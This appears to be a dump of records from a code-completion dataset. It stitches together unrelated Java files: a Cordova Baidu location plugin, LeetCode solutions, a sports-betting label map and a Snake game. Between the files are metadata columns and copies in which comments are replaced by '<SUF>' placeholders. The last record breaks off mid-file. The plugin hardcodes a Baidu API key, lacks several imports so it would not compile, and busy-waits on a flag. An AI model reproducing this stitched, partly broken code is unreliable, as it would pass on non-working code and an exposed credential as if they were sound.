import org.apache.cordova.CordovaPlugin;
import org.apache.cordova.PluginResult;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.util.Log;
import com.baidu.location.BDLocation;
import com.baidu.location.BDLocationListener;
import com.baidu.location.LocationClient;
import com.baidu.location.LocationClientOption;
public class BaiduLocation extends CordovaPlugin {
private static final String STOP_ACTION = "stop";
private static final String GET_ACTION = "getCurrentPosition";
public LocationClient locationClient = null;
public JSONObject jsonObj = new JSONObject();
public boolean result = false;
public CallbackContext callbackContext;
public BDLocationListener myListener;
private static final Map<Integer, String> ERROR_MESSAGE_MAP = new HashMap<Integer, String>();
private static final String DEFAULT_ERROR_MESSAGE = "服务端定位失败";
static {
ERROR_MESSAGE_MAP.put(61, "GPS定位结果");
ERROR_MESSAGE_MAP.put(62, "扫描整合定位依据失败。此时定位结果无效");
ERROR_MESSAGE_MAP.put(63, "网络异常,没有成功向服务器发起请求。此时定位结果无效");
ERROR_MESSAGE_MAP.put(65, "定位缓存的结果");
ERROR_MESSAGE_MAP.put(66, "离线定位结果。通过requestOfflineLocaiton调用时对应的返回结果");
ERROR_MESSAGE_MAP.put(67, "离线定位失败。通过requestOfflineLocaiton调用时对应的返回结果");
ERROR_MESSAGE_MAP.put(68, "网络连接失败时,查找本地离线定位时对应的返回结果。");
ERROR_MESSAGE_MAP.put(161, "表示网络定位结果");
};
public String getErrorMessage(int locationType) {
String result = ERROR_MESSAGE_MAP.get(locationType);
if (result == null) {
result = DEFAULT_ERROR_MESSAGE;
}
return result;
}
@Override
public boolean execute(String action, JSONArray args,
final CallbackContext callbackContext) {
setCallbackContext(callbackContext);
if (GET_ACTION.equals(action)) {
cordova.getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
locationClient = new LocationClient(cordova.getActivity());
locationClient.setAK("BfkPvjDGHC0ATZhIr6wxnHh9");//设置 <SUF>
myListener = new MyLocationListener();
locationClient.registerLocationListener(myListener);
LocationClientOption option = new LocationClientOption();
option.setOpenGps(true);
option.setCoorType("bd09ll");// 返回的定位结果是百度经纬度,默认值gcj02
option.setProdName("BaiduLoc");
option.disableCache(true);// 禁止启用缓存定位
locationClient.setLocOption(option);
locationClient.start();
locationClient.requestLocation();
}
});
return true;
} else if (STOP_ACTION.equals(action)) {
locationClient.stop();
callbackContext.success(200);
return true;
} else {
callbackContext
.error(PluginResult.Status.INVALID_ACTION.toString());
}
while (result == false) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
return result;
}
public class MyLocationListener implements BDLocationListener {
@Override
public void onReceiveLocation(BDLocation location) {
if (location == null)
return;
try {
JSONObject coords = new JSONObject();
coords.put("latitude", location.getLatitude());
coords.put("longitude", location.getLongitude());
coords.put("radius", location.getRadius());
jsonObj.put("coords", coords);
int locationType = location.getLocType();
jsonObj.put("locationType", locationType);
jsonObj.put("code", locationType);
jsonObj.put("message", getErrorMessage(locationType));
switch (location.getLocType()) {
case BDLocation.TypeGpsLocation:
coords.put("speed", location.getSpeed());
coords.put("altitude", location.getAltitude());
jsonObj.put("SatelliteNumber",
location.getSatelliteNumber());
break;
case BDLocation.TypeNetWorkLocation:
jsonObj.put("addr", location.getAddrStr());
break;
}
Log.d("BaiduLocationPlugin", "run: " + jsonObj.toString());
callbackContext.success(jsonObj);
result = true;
} catch (JSONException e) {
callbackContext.error(e.getMessage());
result = true;
}
}
public void onReceivePoi(BDLocation poiLocation) {
// TODO Auto-generated method stub
}
}
@Override
public void onDestroy() {
if (locationClient != null && locationClient.isStarted()) {
locationClient.stop();
locationClient = null;
}
super.onDestroy();
}
private void logMsg(String s) {
System.out.println(s);
}
public CallbackContext getCallbackContext() {
return callbackContext;
}
public void setCallbackContext(CallbackContext callbackContext) {
this.callbackContext = callbackContext;
}
} | 0 | 9 | 0 |
15314_0 | package LeetCode.L948;
import java.util.Arrays;
/**
* 你的初始 能量 为 power,初始 分数 为 0,只有一包令牌以整数数组 tokens 给出。其中 tokens[i] 是第 i 个令牌的值(下标从 0 开始)。
*
* 你的目标是通过有策略地使用这些令牌以 最大化 总 分数。在一次行动中,你可以用两种方式中的一种来使用一个 未被使用的 令牌(但不是对同一个令牌使用两种方式):
*
* 朝上:如果你当前 至少 有 tokens[i] 点 能量 ,可以使用令牌 i ,失去 tokens[i] 点 能量 ,并得到 1 分 。
* 朝下:如果你当前至少有 1 分 ,可以使用令牌 i ,获得 tokens[i] 点 能量 ,并失去 1 分 。
* 在使用 任意 数量的令牌后,返回我们可以得到的最大 分数 。
*
*
*
* 示例 1:
*
* 输入:tokens = [100], power = 50
* 输出:0
* 解释:因为你的初始分数为 0,无法使令牌朝下。你也不能使令牌朝上因为你的能量(50)比 tokens[0] 少(100)。
* 示例 2:
*
* 输入:tokens = [200,100], power = 150
* 输出:1
* 解释:使令牌 1 正面朝上,能量变为 50,分数变为 1 。
* 不必使用令牌 0,因为你无法使用它来提高分数。可得到的最大分数是 1。
* 示例 3:
*
* 输入:tokens = [100,200,300,400], power = 200
* 输出:2
* 解释:按下面顺序使用令牌可以得到 2 分:
* 1. 令牌 0 (100)正面朝上,能量变为 100 ,分数变为 1
* 2. 令牌 3 (400)正面朝下,能量变为 500 ,分数变为 0
* 3. 令牌 1 (200)正面朝上,能量变为 300 ,分数变为 1
* 4. 令牌 2 (300)正面朝上,能量变为 0 ,分数变为 2
*
* 可得的最大分数是 2。
*
*
* 提示:
*
* - 0 <= tokens.length <= 1000
* - 0 <= tokens[i], power < 10^4
*/
public class Main {
public static void main(String[] args) {
Solution s = new Solution();
System.out.println("s.bagOfTokensScore(new int[]{100}, 50) = " + s.bagOfTokensScore(new int[]{100}, 50));
System.out.println("s.bagOfTokensScore(new int[]{200, 100}, 150) = " + s.bagOfTokensScore(new int[]{200, 100}, 150));
System.out.println("s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200) = " + s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200));
System.out.println("s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99) = " + s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99));
}
}
class Solution {
public int bagOfTokensScore(int[] tokens, int power) {
if (tokens.length == 0){
return 0;
}
Arrays.sort(tokens);
if (tokens[0] > power){
return 0;
}
int mscore = 0;
int l = 0, r = tokens.length - 1;
while (l <= r){
while (l <= r && power - tokens[l] >= 0){
power -= tokens[l];
l++;
}
mscore = Math.max(mscore, l + r - tokens.length + 1);
power += tokens[r];
r--;
}
return mscore;
}
} | DoudiNCer/LeetCodeAC | src/LeetCode/L948/Main.java | 1,180 | /**
* 你的初始 能量 为 power,初始 分数 为 0,只有一包令牌以整数数组 tokens 给出。其中 tokens[i] 是第 i 个令牌的值(下标从 0 开始)。
*
* 你的目标是通过有策略地使用这些令牌以 最大化 总 分数。在一次行动中,你可以用两种方式中的一种来使用一个 未被使用的 令牌(但不是对同一个令牌使用两种方式):
*
* 朝上:如果你当前 至少 有 tokens[i] 点 能量 ,可以使用令牌 i ,失去 tokens[i] 点 能量 ,并得到 1 分 。
* 朝下:如果你当前至少有 1 分 ,可以使用令牌 i ,获得 tokens[i] 点 能量 ,并失去 1 分 。
* 在使用 任意 数量的令牌后,返回我们可以得到的最大 分数 。
*
*
*
* 示例 1:
*
* 输入:tokens = [100], power = 50
* 输出:0
* 解释:因为你的初始分数为 0,无法使令牌朝下。你也不能使令牌朝上因为你的能量(50)比 tokens[0] 少(100)。
* 示例 2:
*
* 输入:tokens = [200,100], power = 150
* 输出:1
* 解释:使令牌 1 正面朝上,能量变为 50,分数变为 1 。
* 不必使用令牌 0,因为你无法使用它来提高分数。可得到的最大分数是 1。
* 示例 3:
*
* 输入:tokens = [100,200,300,400], power = 200
* 输出:2
* 解释:按下面顺序使用令牌可以得到 2 分:
* 1. 令牌 0 (100)正面朝上,能量变为 100 ,分数变为 1
* 2. 令牌 3 (400)正面朝下,能量变为 500 ,分数变为 0
* 3. 令牌 1 (200)正面朝上,能量变为 300 ,分数变为 1
* 4. 令牌 2 (300)正面朝上,能量变为 0 ,分数变为 2
*
* 可得的最大分数是 2。
*
*
* 提示:
*
* - 0 <= tokens.length <= 1000
* - 0 <= tokens[i], power < 10^4
*/ | block_comment | zh-cn | package LeetCode.L948;
import java.util.Arrays;
/**
* 你的初 <SUF>*/
public class Main {
public static void main(String[] args) {
Solution s = new Solution();
System.out.println("s.bagOfTokensScore(new int[]{100}, 50) = " + s.bagOfTokensScore(new int[]{100}, 50));
System.out.println("s.bagOfTokensScore(new int[]{200, 100}, 150) = " + s.bagOfTokensScore(new int[]{200, 100}, 150));
System.out.println("s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200) = " + s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200));
System.out.println("s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99) = " + s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99));
}
}
class Solution {
public int bagOfTokensScore(int[] tokens, int power) {
if (tokens.length == 0){
return 0;
}
Arrays.sort(tokens);
if (tokens[0] > power){
return 0;
}
int mscore = 0;
int l = 0, r = tokens.length - 1;
while (l <= r){
while (l <= r && power - tokens[l] >= 0){
power -= tokens[l];
l++;
}
mscore = Math.max(mscore, l + r - tokens.length + 1);
power += tokens[r];
r--;
}
return mscore;
}
} | 0 | 946 | 0 |
61989_3 | package com.maven.util;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.lang.StringUtils;
/**
* 沙巴体育
* @author klay
*
*/
public class IBCUtils {
/**********初始化运动类型************/
public static Map<String, String> __SportType = new HashMap<String, String>(){{
this.put("1", "足球");
this.put("2", "篮球");
this.put("3", "足球");
this.put("4", "冰上曲棍球");
this.put("5", "网球");
this.put("6", "排球");
this.put("7", "台球");
this.put("8", "棒球");
this.put("9", "羽毛球");
this.put("10", "高尔夫");
this.put("11", "赛车");
this.put("12", "游泳");
this.put("13", "政治");
this.put("14", "水球");
this.put("15", "跳水");
this.put("16", "拳击");
this.put("17", "射箭");
this.put("18", "乒乓球");
this.put("19", "举重");
this.put("20", "皮划艇");
this.put("21", "体操");
this.put("22", "田径");
this.put("23", "马术");
this.put("24", "手球");
this.put("25", "飞镖");
this.put("26", "橄榄球");
this.put("27", "板球");
this.put("28", "曲棍球");
this.put("29", "冬季运动");
this.put("30", "壁球");
this.put("31", "娱乐");
this.put("32", "网前球");
this.put("33", "骑自行车");
this.put("41", "铁人三项 ");
this.put("42", "摔跤");
this.put("43", "电子竞技");
this.put("44", "泰拳");
this.put("50", "板球游戏");
this.put("99", "其他运动");
this.put("99MP", "混合足球Mix Parlay");
this.put("151", "赛马");
this.put("152", "灰狗 ");
this.put("153", "马具 ");
this.put("154", "赛马固定赔率 ");
this.put("161", "数字游戏 ");
this.put("180", "虚拟足球 ");
this.put("181", "虚拟赛马 ");
this.put("182", "虚拟灵狮");
this.put("183", "虚拟赛道");
this.put("184", "虚拟F1");
this.put("185", "虚拟自行车");
this.put("186", "虚拟网球");
this.put("202", "基诺");
this.put("251", "赌场");
this.put("208", "RNG游戏");
this.put("209", "迷你游戏");
this.put("210", "移动");
}};
/**********初始化赔率类型************/
public static Map<String, String> __OddsType = new HashMap<String, String>(){{
this.put("1", "马来人的赔率");
this.put("2", "香港赔率");
this.put("3", "十进制的赔率");
this.put("4", "印度赔率");
this.put("5", "美国赔率");
}};
/**********初始化状态数据************/
public static Map<String, String> __TicketStatus = new HashMap<String, String>(){{
this.put("waiting", "(等)");
this.put("running", "(进行 中)");
this.put("won", "(赢) ");
this.put("lose", "(输)");
this.put("draw", "(平 局) ");
this.put("reject", "(拒 绝) ");
this.put("refund", "(退 钱) ");
this.put("void", "(取 消) ");
this.put("half won", "(上半场赢)");
this.put("half lose", "(上半场输)");
}};
} | Douglas890116/Atom | src/ecrm-s/src/main/java/com/maven/util/IBCUtils.java | 1,229 | /**********初始化状态数据************/ | block_comment | zh-cn | package com.maven.util;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.lang.StringUtils;
/**
* 沙巴体育
* @author klay
*
*/
public class IBCUtils {
/**********初始化运动类型************/
public static Map<String, String> __SportType = new HashMap<String, String>(){{
this.put("1", "足球");
this.put("2", "篮球");
this.put("3", "足球");
this.put("4", "冰上曲棍球");
this.put("5", "网球");
this.put("6", "排球");
this.put("7", "台球");
this.put("8", "棒球");
this.put("9", "羽毛球");
this.put("10", "高尔夫");
this.put("11", "赛车");
this.put("12", "游泳");
this.put("13", "政治");
this.put("14", "水球");
this.put("15", "跳水");
this.put("16", "拳击");
this.put("17", "射箭");
this.put("18", "乒乓球");
this.put("19", "举重");
this.put("20", "皮划艇");
this.put("21", "体操");
this.put("22", "田径");
this.put("23", "马术");
this.put("24", "手球");
this.put("25", "飞镖");
this.put("26", "橄榄球");
this.put("27", "板球");
this.put("28", "曲棍球");
this.put("29", "冬季运动");
this.put("30", "壁球");
this.put("31", "娱乐");
this.put("32", "网前球");
this.put("33", "骑自行车");
this.put("41", "铁人三项 ");
this.put("42", "摔跤");
this.put("43", "电子竞技");
this.put("44", "泰拳");
this.put("50", "板球游戏");
this.put("99", "其他运动");
this.put("99MP", "混合足球Mix Parlay");
this.put("151", "赛马");
this.put("152", "灰狗 ");
this.put("153", "马具 ");
this.put("154", "赛马固定赔率 ");
this.put("161", "数字游戏 ");
this.put("180", "虚拟足球 ");
this.put("181", "虚拟赛马 ");
this.put("182", "虚拟灵狮");
this.put("183", "虚拟赛道");
this.put("184", "虚拟F1");
this.put("185", "虚拟自行车");
this.put("186", "虚拟网球");
this.put("202", "基诺");
this.put("251", "赌场");
this.put("208", "RNG游戏");
this.put("209", "迷你游戏");
this.put("210", "移动");
}};
/**********初始化赔率类型************/
public static Map<String, String> __OddsType = new HashMap<String, String>(){{
this.put("1", "马来人的赔率");
this.put("2", "香港赔率");
this.put("3", "十进制的赔率");
this.put("4", "印度赔率");
this.put("5", "美国赔率");
}};
/**********初始化 <SUF>*/
public static Map<String, String> __TicketStatus = new HashMap<String, String>(){{
this.put("waiting", "(等)");
this.put("running", "(进行 中)");
this.put("won", "(赢) ");
this.put("lose", "(输)");
this.put("draw", "(平 局) ");
this.put("reject", "(拒 绝) ");
this.put("refund", "(退 钱) ");
this.put("void", "(取 消) ");
this.put("half won", "(上半场赢)");
this.put("half lose", "(上半场输)");
}};
} | 0 | 31 | 0 |
15951_0 | package com.kaha.dragon.dragon.entity;
/**
* <b>
* <p>
* 《樱桃小丸子》《彭彭丁满历险记》《阿拉丁》《神厨小福贵》《奇奇颗颗历险记》《花枝的故事》
* 《波波安》《下课后》《成龙历险记》《飞天德》《犬夜叉》《铁胆火车侠》《魔法咪路咪路》
* 《101忠狗》《天上掉下个猪八戒》《宝莲灯》《光能使者》《变形金刚》《忍者神龟》《猫和老鼠》
* 《七龙珠》《多啦A梦》《蜡笔小新》《神奇宝贝》《数码宝贝》《铁壁阿童木》《四驱兄弟》《圣斗士星矢》
* 《灌篮高手》《双子星公主》《弹珠警察》《聪明的一休》《山林小猎人》《铁甲小宝》《龙猫》
* 《天空之城》《起风了》《幽灵公主》《小熊维尼》《飞天小女警》《狮子王》《大力水手》
* 《史努比》《海绵宝宝》《星际宝贝》《加菲猫》《黑猫警长》《葫芦娃》《虹猫蓝兔七侠传》
* 《邋遢大王历险记》《海尔兄弟》《中华小子》《围棋少年》《大头儿子小头爸爸》《大耳朵图图》
* 《东方神娃》《猪猪侠》《大唐风云》《天降小子》《千千问》《憨八龟的故事》《哪吒传奇》
* 《天书奇谭》《三个和尚》《嗨皮父子》《小鲤鱼历险记》《饮茶之功夫学园》《电击小子》
* 《淘气包马小跳》《三毛流浪记》《小蝌蚪找妈妈》《小卓玛》《蓝猫龙骑团》《龙神勇士之恐龙宝贝》
* 《神兵小将》《天眼》《大英雄狄青》《福五鼠之三十六计》《小牛向前冲》《小虎还乡》《魔豆传奇》
* 《小贝流浪记》《西游记》《火影忍者》<阿凡提》《大力士海格力斯》《铁甲小宝》《大耳朵图图》
* 《海尔兄弟》《加菲猫的幸福生活》《毛儿山的小鬼子》《马丁的早晨》《快乐东西》《托马斯和朋友们》
* 《东方神娃》
*
* </p>
* <p>
* 活在自己的世界里
* </b>
*
* @author Darcy
* @Date 2019/1/8
* @package com.kaha.dragon.dragon.entity
* @Desciption
*/
public class Mine {
private String des;
private String title;
private String content;
}
| DragonCaat/Dragon | app/src/main/java/com/kaha/dragon/dragon/entity/Mine.java | 922 | /**
* <b>
* <p>
* 《樱桃小丸子》《彭彭丁满历险记》《阿拉丁》《神厨小福贵》《奇奇颗颗历险记》《花枝的故事》
* 《波波安》《下课后》《成龙历险记》《飞天德》《犬夜叉》《铁胆火车侠》《魔法咪路咪路》
* 《101忠狗》《天上掉下个猪八戒》《宝莲灯》《光能使者》《变形金刚》《忍者神龟》《猫和老鼠》
* 《七龙珠》《多啦A梦》《蜡笔小新》《神奇宝贝》《数码宝贝》《铁壁阿童木》《四驱兄弟》《圣斗士星矢》
* 《灌篮高手》《双子星公主》《弹珠警察》《聪明的一休》《山林小猎人》《铁甲小宝》《龙猫》
* 《天空之城》《起风了》《幽灵公主》《小熊维尼》《飞天小女警》《狮子王》《大力水手》
* 《史努比》《海绵宝宝》《星际宝贝》《加菲猫》《黑猫警长》《葫芦娃》《虹猫蓝兔七侠传》
* 《邋遢大王历险记》《海尔兄弟》《中华小子》《围棋少年》《大头儿子小头爸爸》《大耳朵图图》
* 《东方神娃》《猪猪侠》《大唐风云》《天降小子》《千千问》《憨八龟的故事》《哪吒传奇》
* 《天书奇谭》《三个和尚》《嗨皮父子》《小鲤鱼历险记》《饮茶之功夫学园》《电击小子》
* 《淘气包马小跳》《三毛流浪记》《小蝌蚪找妈妈》《小卓玛》《蓝猫龙骑团》《龙神勇士之恐龙宝贝》
* 《神兵小将》《天眼》《大英雄狄青》《福五鼠之三十六计》《小牛向前冲》《小虎还乡》《魔豆传奇》
* 《小贝流浪记》《西游记》《火影忍者》<阿凡提》《大力士海格力斯》《铁甲小宝》《大耳朵图图》
* 《海尔兄弟》《加菲猫的幸福生活》《毛儿山的小鬼子》《马丁的早晨》《快乐东西》《托马斯和朋友们》
* 《东方神娃》
*
* </p>
* <p>
* 活在自己的世界里
* </b>
*
* @author Darcy
* @Date 2019/1/8
* @package com.kaha.dragon.dragon.entity
* @Desciption
*/ | block_comment | zh-cn | package com.kaha.dragon.dragon.entity;
/**
* <b> <SUF>*/
public class Mine {
private String des;
private String title;
private String content;
}
| 0 | 838 | 0 |
15880_24 | package AI.Mod;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.Queue;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.Queue;
public class Snake {
/**
* 计数器防死循环的
*/
public int c=0;
/**
* 蛇身大小
*/
public final static int size =10;
/**
* 地图大小
*/
public final static int map_size=150;
/**
* 蛇头
*/
private Node first;
/**
* 蛇的尾巴,实际是尾巴走的上一个节点
*/
private Node tail;
/**
* 蛇尾
*/
private Node last;
/**
* 蛇的数据结构
*/
private ArrayList<Node> s=new ArrayList<Node>();
/**
* 地图上已有蛇的节点,蛇的String存储
*/
private HashSet<String> map=new HashSet<String>();
/**
* 方向
*/
private int dir;// 8 6 2 4 上 右 下 左
/**
* 食物
*/
private Node food;
public Snake(){
}
public Snake(Node first,Node last,Node food,Node tail){
this.first=first;
this.last=last;
this.food=food;
this.tail=tail;
}
/**
* 把n添加到s中
* @param n
*/
private void add_Node(Node n){
s.add(0, n);
first=s.get(0);
//如果添加的节点不是食物,去掉尾巴
if(!n.toString().equals(food.toString())){
tail=last;//记录尾巴
s.remove(last);
last=s.get(s.size()-1);
}else{//如果是,随机食物,
food=RandomFood();
}
}
/**
* 移动
*/
public void move() {
if(dir==8){
Node n=new Node(first.getX(),first.getY()-10);
add_Node(n);
}
if(dir==6){
Node n=new Node(first.getX()+10,first.getY());
add_Node(n);
}
if(dir==2){
Node n=new Node(first.getX(),first.getY()+10);
add_Node(n);
}
if(dir==4){
Node n=new Node(first.getX()-10,first.getY());
add_Node(n);
}
updataMap(s);
}
/**
* 可以设置方向的move
* @param dir
*/
public void move(int dir){
this.dir=dir;
move();
}
/**
* 判断dir方向能不能走
*
* @param dir
* @return
*/
public boolean canMove(int dir){
if(dir==8){
int X=first.getX();
int Y=first.getY()-10;
if(Y<10||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==6){
int X=first.getX()+10;
int Y=first.getY();
if(X>Snake.map_size||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==2){
int X=first.getX();
int Y=first.getY()+10;
if(Y>Snake.map_size||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==4){
int X=first.getX()-10;
int Y=first.getY();
if(X<10||map.contains(X+"-"+Y)){
return false;
}else return true;
}
return false;
}
/**
* String转Node
* @param s
* @return
*/
public Node StringToNode(String s){
String []str=s.split("-");
int x = Integer.parseInt(str[0]);
int y = Integer.parseInt(str[1]);
return new Node(x,y);
}
/**
* Node转String,突然想起可以直接写个toString。。
* @param n
* @return
*/
// public String NodeToString(Node n){
// return n.getX()+"-"+n.getY();
// }
/**
* 更新地图上访问过的位置
* @param s
*/
public void updataMap(ArrayList<Node> s){
map.clear();//先移除旧的站位点
for(Node n:s){
map.add(n.toString());
}
}
/**
* 食物的随机出现
*/
public Node RandomFood() {
c=0;
while(true){
int x = 0,y;
x = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10;
y = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10;
Node n=new Node(x,y);
//食物不能出现在蛇身体,s.contains居然检查不到Node,
//突然想到是不是Node类没重写equals方法。。
if(!s.contains(n)){
return n;
}
}
}
/**
*
* @return 蛇长
*/
public int getLen() {
return s.size();
}
/**
* @return 尾巴lsat的后一个节点
*/
public Node getTail() {
return tail;
}
public void setTail(Node tail) {
this.tail = tail;
}
public HashSet<String> getMap() {
return map;
}
public Node getFirst() {
return first;
}
public Node getLast() {
return last;
}
public ArrayList<Node> getS() {
return s;
}
public void setFirst(Node first) {
this.first = first;
}
public void setLast(Node last) {
this.last = last;
}
public void setS(ArrayList<Node> s) {
this.s = s;
}
public void setMap(HashSet<String> map) {
this.map = map;
}
public void setFood(Node food) {
this.food = food;
}
public int getDir() {
return dir;
}
public void setDir(int dir) {
this.dir = dir;
}
public Node getFood() {
return food;
}
}
| DragonZhang123/SnakeAI | Snake.java | 1,761 | /**
* 食物的随机出现
*/ | block_comment | zh-cn | package AI.Mod;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.Queue;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.Queue;
public class Snake {
/**
* 计数器防死循环的
*/
public int c=0;
/**
* 蛇身大小
*/
public final static int size =10;
/**
* 地图大小
*/
public final static int map_size=150;
/**
* 蛇头
*/
private Node first;
/**
* 蛇的尾巴,实际是尾巴走的上一个节点
*/
private Node tail;
/**
* 蛇尾
*/
private Node last;
/**
* 蛇的数据结构
*/
private ArrayList<Node> s=new ArrayList<Node>();
/**
* 地图上已有蛇的节点,蛇的String存储
*/
private HashSet<String> map=new HashSet<String>();
/**
* 方向
*/
private int dir;// 8 6 2 4 上 右 下 左
/**
* 食物
*/
private Node food;
public Snake(){
}
public Snake(Node first,Node last,Node food,Node tail){
this.first=first;
this.last=last;
this.food=food;
this.tail=tail;
}
/**
* 把n添加到s中
* @param n
*/
private void add_Node(Node n){
s.add(0, n);
first=s.get(0);
//如果添加的节点不是食物,去掉尾巴
if(!n.toString().equals(food.toString())){
tail=last;//记录尾巴
s.remove(last);
last=s.get(s.size()-1);
}else{//如果是,随机食物,
food=RandomFood();
}
}
/**
* 移动
*/
public void move() {
if(dir==8){
Node n=new Node(first.getX(),first.getY()-10);
add_Node(n);
}
if(dir==6){
Node n=new Node(first.getX()+10,first.getY());
add_Node(n);
}
if(dir==2){
Node n=new Node(first.getX(),first.getY()+10);
add_Node(n);
}
if(dir==4){
Node n=new Node(first.getX()-10,first.getY());
add_Node(n);
}
updataMap(s);
}
/**
* 可以设置方向的move
* @param dir
*/
public void move(int dir){
this.dir=dir;
move();
}
/**
* 判断dir方向能不能走
*
* @param dir
* @return
*/
public boolean canMove(int dir){
if(dir==8){
int X=first.getX();
int Y=first.getY()-10;
if(Y<10||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==6){
int X=first.getX()+10;
int Y=first.getY();
if(X>Snake.map_size||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==2){
int X=first.getX();
int Y=first.getY()+10;
if(Y>Snake.map_size||map.contains(X+"-"+Y)){
return false;
}else return true;
}
if(dir==4){
int X=first.getX()-10;
int Y=first.getY();
if(X<10||map.contains(X+"-"+Y)){
return false;
}else return true;
}
return false;
}
/**
* String转Node
* @param s
* @return
*/
public Node StringToNode(String s){
String []str=s.split("-");
int x = Integer.parseInt(str[0]);
int y = Integer.parseInt(str[1]);
return new Node(x,y);
}
/**
* Node转String,突然想起可以直接写个toString。。
* @param n
* @return
*/
// public String NodeToString(Node n){
// return n.getX()+"-"+n.getY();
// }
/**
* 更新地图上访问过的位置
* @param s
*/
public void updataMap(ArrayList<Node> s){
map.clear();//先移除旧的站位点
for(Node n:s){
map.add(n.toString());
}
}
/**
* 食物的 <SUF>*/
public Node RandomFood() {
c=0;
while(true){
int x = 0,y;
x = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10;
y = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10;
Node n=new Node(x,y);
//食物不能出现在蛇身体,s.contains居然检查不到Node,
//突然想到是不是Node类没重写equals方法。。
if(!s.contains(n)){
return n;
}
}
}
/**
*
* @return 蛇长
*/
public int getLen() {
return s.size();
}
/**
* @return 尾巴lsat的后一个节点
*/
public Node getTail() {
return tail;
}
public void setTail(Node tail) {
this.tail = tail;
}
public HashSet<String> getMap() {
return map;
}
public Node getFirst() {
return first;
}
public Node getLast() {
return last;
}
public ArrayList<Node> getS() {
return s;
}
public void setFirst(Node first) {
this.first = first;
}
public void setLast(Node last) {
this.last = last;
}
public void setS(ArrayList<Node> s) {
this.s = s;
}
public void setMap(HashSet<String> map) {
this.map = map;
}
public void setFood(Node food) {
this.food = food;
}
public int getDir() {
return dir;
}
public void setDir(int dir) {
this.dir = dir;
}
public Node getFood() {
return food;
}
}
| 0 | 20 | 0 |
65789_0 | import java.util.*;
/*
NO1125 最小的必要团队
作为项目经理,你规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。
所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。
我们可以用每个人的编号来表示团队中的成员:例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。
请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按任意顺序返回答案,本题保证答案存在。
*/
public class Solution1125 {
List<Integer> ans = new ArrayList<>();
int[] peopleSkill;
int[] employed;
int aim;
public int[] smallestSufficientTeam(String[] req_skills, List<List<String>> people) {
peopleSkill = new int[people.size()];
employed = new int[people.size()];
aim = (int) Math.pow(2, req_skills.length) - 1;
HashMap<String, Integer> hashMap = new HashMap<>();
for (int i = 0; i < req_skills.length; i++) {
hashMap.put(req_skills[i], i);
}
// 构建每个人的技能值
for (int i = 0; i < people.size(); i++) {
List<String> skills = people.get(i);
for (String skill : skills) {
if (hashMap.containsKey(skill)) {
peopleSkill[i] = peopleSkill[i] | (1 << hashMap.get(skill));
}
}
}
for (int i = 0; i < people.size() - 1; i++) {
for (int j = i + 1; j < people.size(); j++) {
if (people.get(i).containsAll(people.get(j))) {
peopleSkill[j] = 0;
} else if (people.get(j).containsAll(people.get(i))) {
peopleSkill[i] = 0;
}
}
}
int x = 0;
int y = 0;
for (String req_skill : req_skills) {
int index = -1;
boolean flag = true;
for (int j = 0; j < people.size(); j++) {
if (people.get(j).contains(req_skill) && peopleSkill[j] != 0) {
if (index == -1) index = j;
else {
flag = false;
break;
}
}
}
if (flag && employed[index] == 0) {
employed[index] = 1;
y += 1;
for (String s : people.get(index)) {
x = x | (1 << hashMap.get(s));
}
}
}
for (int i = 0; i < people.size(); i++) {
if (peopleSkill[i] != 0) ans.add(i);
}
if (x != aim) seek(x, y);
int[] ret = new int[ans.size()];
ans.sort((o1, o2) -> o1 - o2);
for (int i = 0; i < ans.size(); i++) {
ret[i] = ans.get(i);
}
return ret;
}
public void seek(int sum, int peopleNum) {
if (peopleNum >= ans.size()) return;
if (sum == aim) {
ans.clear();
for (int i = 0; i < employed.length; i++) {
if (employed[i] == 1) ans.add(i);
}
return;
}
for (int i = 0; i < peopleSkill.length; i++) {
if (employed[i] == 0 && peopleSkill[i] != 0 && peopleNum < ans.size()) {
employed[i] = 1;
seek(sum | peopleSkill[i], peopleNum + 1);
employed[i] = 0;
}
}
}
public static void main(String[] args) {
String[] req = new String[]{"gvp", "jgpzzicdvgxlfix", "kqcrfwerywbwi", "jzukdzrfgvdbrunw", "k"};
List<String> p1 = Arrays.asList();
List<String> p2 = Arrays.asList();
List<String> p3 = Arrays.asList();
List<String> p4 = Arrays.asList();
List<String> p5 = Arrays.asList("jgpzzicdvgxlfix");
List<String> p6 = Arrays.asList("jgpzzicdvgxlfix", "k");
List<String> p7 = Arrays.asList("jgpzzicdvgxlfix", "kqcrfwerywbwi");
List<String> p8 = Arrays.asList("gvp");
